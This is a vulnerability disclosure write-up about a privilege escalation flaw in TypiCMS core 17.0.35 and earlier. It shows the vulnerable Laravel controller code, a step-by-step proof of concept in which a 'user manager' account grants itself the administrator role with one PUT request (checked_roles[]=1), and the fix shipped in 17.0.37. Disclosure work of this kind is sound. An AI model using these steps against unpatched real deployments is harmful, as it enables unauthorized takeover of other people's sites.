July 29, 2026
Broken Access Control in TypiCMS: Role Self-Assignment to Full Admin
How a “user manager” role with three harmless-looking permissions turns itself into a full administrator in a single HTTP request — and why…
By Pervin Zahidli
3 min read
How a "user manager" role with three harmless-looking permissions turns itself into a full administrator in a single HTTP request — and why the fix was really about consistency, not code.
TypiCMS (typicms/core <= 17.0.35) shipped with a broken access control flaw: any account holding the update users permission could edit its own user profile and assign itself the administrator role. No victim interaction, no chain — one authenticated PUT request, and the whole CMS is yours.
A second, independent path let anyone with update roles load arbitrary permissions onto any role, including their own.
Both were reported, acknowledged, and fixed in v17.0.37.
Classification: CWE-639 / CWE-862 (Missing Authorization) Severity: Critical Impact: Full CMS compromise from a low-privilege staff account
Context
The interesting access-control bugs are never the "developer forgot about security entirely" kind. The interesting ones are where the developer saw the threat, built a defense against it — and then, a few lines down, left the same door open. This is exactly that kind.
TypiCMS is a modular Laravel CMS built on Spatie's laravel-permission, and it markets fine-grained roles and permissions as a feature. That means deployments with non-admin staff roles like "HR," "team lead," "moderator," "user manager" — and that's precisely the trust boundary this bug walks straight through.
The vulnerability
Vector 1 — Role self-assignment
public function update(User $user, UsersFormRequest $request): RedirectResponse
{
$data = $request->validated();
$user->update($data);
$user->roles()->sync($request->array('checked_roles')); // no authorization check
return $this->redirect($request, $user);
}public function update(User $user, UsersFormRequest $request): RedirectResponse
{
$data = $request->validated();
$user->update($data);
$user->roles()->sync($request->array('checked_roles')); // no authorization check
return $this->redirect($request, $user);
}The route is guarded like this:
PUT /admin/users/{user} -> middleware('can:update users')PUT /admin/users/{user} -> middleware('can:update users')This middleware answers exactly one question: does the caller hold update users? It does not ask:
- Is the target
{user}different from the caller? (No — you can edit yourself.) - Are the roles in
checked_roles[]roles the caller is actually allowed to grant? (No check at all.)
So submit checked_roles[]=1 — the administrator role, which by default carries every permission in the system — and you're an administrator.
The stinging part: the guard they did write
Look at UsersFormRequest:
protected function prepareForValidation(): void
{
if (! $this->user()?->isSuperUser()) {
$this->merge(['superuser' => false]);
}
}protected function prepareForValidation(): void
{
if (! $this->user()?->isSuperUser()) {
$this->merge(['superuser' => false]);
}
}The maintainers explicitly stopped a non-superuser from flipping the superuser flag on themselves. In other words, self-escalation was already in their threat model. But the defense was tied to the superuser flag — while the administrator role, which leads to the same omnipotence, is assigned through an entirely different mechanism (roles()->sync()) that the guard never touches.
The whole bug in one sentence: they locked the front door and left the side door open with the same lock.
Vector 2 — Arbitrary permission grant
Structurally the same problem in RolesAdminController:
$this->storeNewPermissions($checkedPermissions); // firstOrCreate() any name
$role->syncPermissions($checkedPermissions); // no possession check$this->storeNewPermissions($checkedPermissions); // firstOrCreate() any name
$role->syncPermissions($checkedPermissions); // no possession checkGuarded only by can:update roles. There's no check that the caller already holds the permissions they're granting, no restriction on which role is targeted, and storeNewPermissions() even creates permission names straight from unvalidated input.
PoC
1. Create a deliberately low-privilege role — only update users, read users, edit profile:
$role = Role::create(['name' => 'usermanager', 'guard_name' => 'web']);
$role->givePermissionTo(['update users', 'read users', 'edit profile']);
$u->assignRole('usermanager');$role = Role::create(['name' => 'usermanager', 'guard_name' => 'web']);
$role->givePermissionTo(['update users', 'read users', 'edit profile']);
$u->assignRole('usermanager');2. Log in as this user via the OTP flow, establishing a real session.
3. Open your own edit form and grab a valid CSRF token:
GET /admin/users/{USER_ID}/editGET /admin/users/{USER_ID}/edit4. Assign yourself administrator (role ID 1):
POST /admin/users/{USER_ID} (_method=PUT)
checked_roles[]=1POST /admin/users/{USER_ID} (_method=PUT)
checked_roles[]=1Response: HTTP 302. A clean redirect, no authorization error.
5. Verify — the account now carries the administrator role and the full permission list (impersonate users, delete users, update roles...), while the superuser flag stayed false the whole time.
That's the punchline: the one guard the maintainers wrote worked perfectly. It just didn't matter.
Impact
Who: any account holding update users (V1) or update roles (V2) — entirely realistic, narrow roles in the multi-editor deployments TypiCMS's RBAC feature is built for.
What they get: a single request, no-interaction escalation to full administrator.
Consequence: total CMS compromise — content, users, settings, and via impersonate users the ability to act as any other account (including a real super-admin's non-superuser sessions).
The fix, and the principle
The maintainer resolved it in core v17.0.37; roughly two weeks from report to close. The correct model is a single rule:
Concretely: before syncing roles onto a user, require the caller to already hold every permission carried by those roles (or gate role assignment behind a distinct assign roles permission reserved for super-admins); apply the same rule to syncPermissions(); and stop creating arbitrary permission names from input.
Notice none of this is a new technique. The code already had the right instinct — it just expressed it once, narrowly, against the superuser flag, instead of as a general rule.
Disclosure
Unfortunately, the Advisory was closed instead of published, so there is no CVE and no public record. GHSA-vq45-cx6x-2vmw
Reported privately via GitHub Security Advisory and fixed in typicms/core v17.0.37